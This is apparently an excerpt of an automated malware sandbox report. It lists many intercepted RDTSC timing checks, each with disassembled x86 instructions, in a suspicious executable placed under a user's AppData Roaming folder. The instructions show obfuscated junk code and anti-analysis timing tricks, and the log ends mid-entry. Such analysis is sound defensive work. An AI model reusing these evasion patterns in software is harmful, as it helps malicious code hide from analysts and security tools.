Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: C6FF6C second address: C6FFAA instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 movsx esi, cx 0x0000000b push 00000000h 0x0000000d push 00000000h 0x0000000f push edi 0x00000010 call 00007FF888DC1E98h 0x00000015 pop edi 0x00000016 mov dword ptr [esp+04h], edi 0x0000001a add dword ptr [esp+04h], 0000001Ch 0x00000022 inc edi 0x00000023 push edi 0x00000024 ret 0x00000025 pop edi 0x00000026 ret 0x00000027 call 00007FF888DC1E99h 0x0000002c push esi 0x0000002d push esi 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: C6FFAA second address: C6FFB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: C6FFB7 second address: C6FFBB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: C6FFBB second address: C6FFC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: C70187 second address: C70220 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FF888DC1E9Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d movzx ecx, di 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push ecx 0x00000015 call 00007FF888DC1E98h 0x0000001a pop ecx 0x0000001b mov dword ptr [esp+04h], ecx 0x0000001f add dword ptr [esp+04h], 00000017h 0x00000027 inc ecx 0x00000028 push ecx 0x00000029 ret 0x0000002a pop ecx 0x0000002b ret 0x0000002c mov ch, dl 0x0000002e call 00007FF888DC1E99h 0x00000033 jmp 00007FF888DC1EA9h 0x00000038 push eax 0x00000039 push ebx 0x0000003a push esi 0x0000003b jmp 00007FF888DC1E9Ch 0x00000040 pop esi 0x00000041 pop ebx 0x00000042 mov eax, dword ptr [esp+04h] 0x00000046 jmp 00007FF888DC1EA0h 0x0000004b mov eax, dword ptr [eax] 0x0000004d push eax 0x0000004e push eax 0x0000004f push edx 0x00000050 jmp 00007FF888DC1EA4h 0x00000055 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: C70381 second address: C70414 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF88929ECC2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a jmp 00007FF88929ECC4h 0x0000000f pop edi 0x00000010 popad 0x00000011 add dword ptr [esp], 66A770F2h 0x00000018 movsx esi, di 0x0000001b add dword ptr [ebp+122D2E85h], ecx 0x00000021 push 00000003h 0x00000023 push 00000000h 0x00000025 push ebx 0x00000026 call 00007FF88929ECB8h 0x0000002b pop ebx 0x0000002c mov dword ptr [esp+04h], ebx 0x00000030 add dword ptr [esp+04h], 00000014h 0x00000038 inc ebx 0x00000039 push ebx 0x0000003a ret 0x0000003b pop ebx 0x0000003c ret 0x0000003d push 00000000h 0x0000003f add dword ptr [ebp+122D353Ch], ebx 0x00000045 movsx ecx, dx 0x00000048 push 00000003h 0x0000004a push 00000000h 0x0000004c push ebx 0x0000004d call 00007FF88929ECB8h 0x00000052 pop ebx 0x00000053 mov dword ptr [esp+04h], ebx 0x00000057 add dword ptr [esp+04h], 00000015h 0x0000005f inc ebx 0x00000060 push ebx 0x00000061 ret 0x00000062 pop ebx 0x00000063 ret 0x00000064 push B782A2FBh 0x00000069 pushad 0x0000006a jl 00007FF88929ECBCh 0x00000070 push eax 0x00000071 push edx 0x00000072 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: C70414 second address: C70442 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FF888DC1E98h 0x0000000a push edi 0x0000000b pop edi 0x0000000c popad 0x0000000d xor dword ptr [esp], 7782A2FBh 0x00000014 mov dword ptr [ebp+122D3153h], ecx 0x0000001a lea ebx, dword ptr [ebp+12454E40h] 0x00000020 mov si, BA34h 0x00000024 xchg eax, ebx 0x00000025 pushad 0x00000026 jo 00007FF888DC1E9Ch 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: C8258B second address: C82591 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: C91188 second address: C911AA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 pushad 0x00000008 popad 0x00000009 pop ebx 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 jc 00007FF888DC1E96h 0x00000016 pushad 0x00000017 popad 0x00000018 popad 0x00000019 pushad 0x0000001a jg 00007FF888DC1E96h 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: C911AA second address: C911B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edx 0x00000007 pop edx 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: C609E5 second address: C609EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: C609EB second address: C60A00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FF88929ECBCh 0x0000000e rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: C60A00 second address: C60A04 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: C60A04 second address: C60A23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FF88929ECC7h 0x0000000d rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: C8F29E second address: C8F2A3 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: C8F2A3 second address: C8F2A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: C8F2A9 second address: C8F2C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 jg 00007FF888DC1EC3h 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FF888DC1EA1h 0x00000014 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: C8F45B second address: C8F45F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: C8F6D8 second address: C8F6F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FF888DC1EA5h 0x0000000e rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: C8F6F6 second address: C8F706 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FF88929ECB6h 0x00000008 jne 00007FF88929ECB6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: C8F706 second address: C8F70D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: C8F8BF second address: C8F8D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 jmp 00007FF88929ECBDh 0x0000000e rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: C8FE59 second address: C8FE5F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: C8FE5F second address: C8FE69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: C9029B second address: C902A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FF888DC1E96h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: C902A7 second address: C902B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jl 00007FF88929ECBCh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: C65AED second address: C65AF9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 je 00007FF888DC1E96h 0x0000000c rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: C90BDB second address: C90BDF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: C9542D second address: C95435 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: C98035 second address: C98057 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF88929ECC4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d jns 00007FF88929ECB6h 0x00000013 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: C98057 second address: C98061 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: C98061 second address: C98065 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: C981B3 second address: C981B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: C981B7 second address: C981BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: C67512 second address: C6753B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FF888DC1E96h 0x0000000a popad 0x0000000b push ecx 0x0000000c jmp 00007FF888DC1E9Dh 0x00000011 pop ecx 0x00000012 pushad 0x00000013 jnc 00007FF888DC1E96h 0x00000019 jl 00007FF888DC1E96h 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: C6753B second address: C67548 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 je 00007FF88929ECB6h 0x0000000d rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: C9C867 second address: C9C87A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FF888DC1E96h 0x0000000a popad 0x0000000b jnp 00007FF888DC1EA2h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: C9C87A second address: C9C880 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: C9C880 second address: C9C884 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: C9C884 second address: C9C8A4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FF88929ECBAh 0x00000008 push edi 0x00000009 pop edi 0x0000000a jo 00007FF88929ECB6h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 jbe 00007FF88929ECB6h 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: C9CDED second address: C9CDF5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push edi 0x00000007 pop edi 0x00000008 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: C9CDF5 second address: C9CE13 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007FF88929ECBCh 0x0000000e pop edx 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: C9CE13 second address: C9CE19 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CA0C5B second address: CA0CBD instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 je 00007FF88929ECBCh 0x0000000c jbe 00007FF88929ECB6h 0x00000012 popad 0x00000013 xor dword ptr [esp], 44727E7Eh 0x0000001a mov dword ptr [ebp+122D36E4h], ebx 0x00000020 call 00007FF88929ECB9h 0x00000025 jmp 00007FF88929ECBEh 0x0000002a push eax 0x0000002b pushad 0x0000002c push eax 0x0000002d push ecx 0x0000002e pop ecx 0x0000002f pop eax 0x00000030 pushad 0x00000031 jg 00007FF88929ECB6h 0x00000037 jmp 00007FF88929ECC4h 0x0000003c popad 0x0000003d popad 0x0000003e mov eax, dword ptr [esp+04h] 0x00000042 push edx 0x00000043 push edx 0x00000044 push eax 0x00000045 push edx 0x00000046 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CA0CBD second address: CA0CD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 mov eax, dword ptr [eax] 0x00000008 push eax 0x00000009 push edx 0x0000000a ja 00007FF888DC1E9Ch 0x00000010 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CA0E1F second address: CA0E23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CA0E23 second address: CA0E27 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CA0FFB second address: CA0FFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CA0FFF second address: CA1005 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CA1005 second address: CA101C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jp 00007FF88929ECB6h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f js 00007FF88929ECB8h 0x00000015 push eax 0x00000016 pop eax 0x00000017 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CA1379 second address: CA137F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CA1447 second address: CA146C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF88929ECC3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jo 00007FF88929ECB6h 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CA146C second address: CA1476 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FF888DC1E9Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CA234A second address: CA23C6 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FF88929ECBCh 0x00000008 jnl 00007FF88929ECB6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov dword ptr [esp], eax 0x00000013 push 00000000h 0x00000015 push ebx 0x00000016 call 00007FF88929ECB8h 0x0000001b pop ebx 0x0000001c mov dword ptr [esp+04h], ebx 0x00000020 add dword ptr [esp+04h], 00000015h 0x00000028 inc ebx 0x00000029 push ebx 0x0000002a ret 0x0000002b pop ebx 0x0000002c ret 0x0000002d mov dword ptr [ebp+122D27FCh], edi 0x00000033 push 00000000h 0x00000035 call 00007FF88929ECC0h 0x0000003a pop edi 0x0000003b push 00000000h 0x0000003d push 00000000h 0x0000003f push ebp 0x00000040 call 00007FF88929ECB8h 0x00000045 pop ebp 0x00000046 mov dword ptr [esp+04h], ebp 0x0000004a add dword ptr [esp+04h], 00000014h 0x00000052 inc ebp 0x00000053 push ebp 0x00000054 ret 0x00000055 pop ebp 0x00000056 ret 0x00000057 mov edi, dword ptr [ebp+122D2AD8h] 0x0000005d xchg eax, ebx 0x0000005e push eax 0x0000005f push edx 0x00000060 push ecx 0x00000061 pop ecx 0x00000062 pop edx 0x00000063 pop eax 0x00000064 push eax 0x00000065 push eax 0x00000066 push edx 0x00000067 pushad 0x00000068 pushad 0x00000069 popad 0x0000006a push eax 0x0000006b push edx 0x0000006c rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CA23C6 second address: CA23CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CA2C7E second address: CA2C84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CA2C84 second address: CA2C89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CA2C89 second address: CA2C8F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CA2C8F second address: CA2C93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CA3E92 second address: CA3E96 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CA4600 second address: CA4605 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CA4605 second address: CA460F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007FF88929ECB6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CA460F second address: CA4613 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CA5262 second address: CA5266 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CA5266 second address: CA526A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CA526A second address: CA5270 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CA6777 second address: CA6789 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FF888DC1E9Dh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CA64F5 second address: CA64F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CA64F9 second address: CA6503 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FF888DC1E96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CA6EF1 second address: CA6EF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CA6503 second address: CA6509 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CA809D second address: CA80A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CA6EF5 second address: CA6F06 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF888DC1E9Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CA6509 second address: CA650D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: C5EF6F second address: C5EF9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 push edi 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edi 0x0000000b jmp 00007FF888DC1EA7h 0x00000010 push eax 0x00000011 push edx 0x00000012 jl 00007FF888DC1E96h 0x00000018 push edi 0x00000019 pop edi 0x0000001a rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CA8DF1 second address: CA8DF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CAB79C second address: CAB7A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CA8DF5 second address: CA8DFB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CAC2FC second address: CAC31F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push edx 0x0000000b pop edx 0x0000000c jmp 00007FF888DC1EA6h 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	RDTSC instruction interceptor: First address: CAC8B1 second address: CAC92B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp], eax 0x00000008 mov ebx, dword ptr [ebp+122D2B30h] 0x0000000e push 00000000h 0x00000010 push 00000000h 0x00000012 push ebp 0x00000013 call 00007FF88929ECB8h 0x00000018 pop ebp 0x00000019 mov dword ptr [esp+04h], ebp 0x0000001d add dword ptr [esp+04h], 00000014h 0x00000025 inc ebp 0x00000026 push ebp 0x00000027 ret 0x00000028 pop ebp 0x00000029 ret 0x0000002a mov edi, dword ptr [ebp+122D258Dh] 0x00000030 clc 0x00000031 push 00000000h 0x00000033 push 00000000h 0x00000035 push eax 0x00000036 call 00007FF88929ECB8h 0x0000003b pop eax 0x0000003c mov dword ptr [esp+04h], eax 0x00000040 add dword ptr [esp+04h], 00000018h 0x00000048 inc eax 0x00000049 push eax 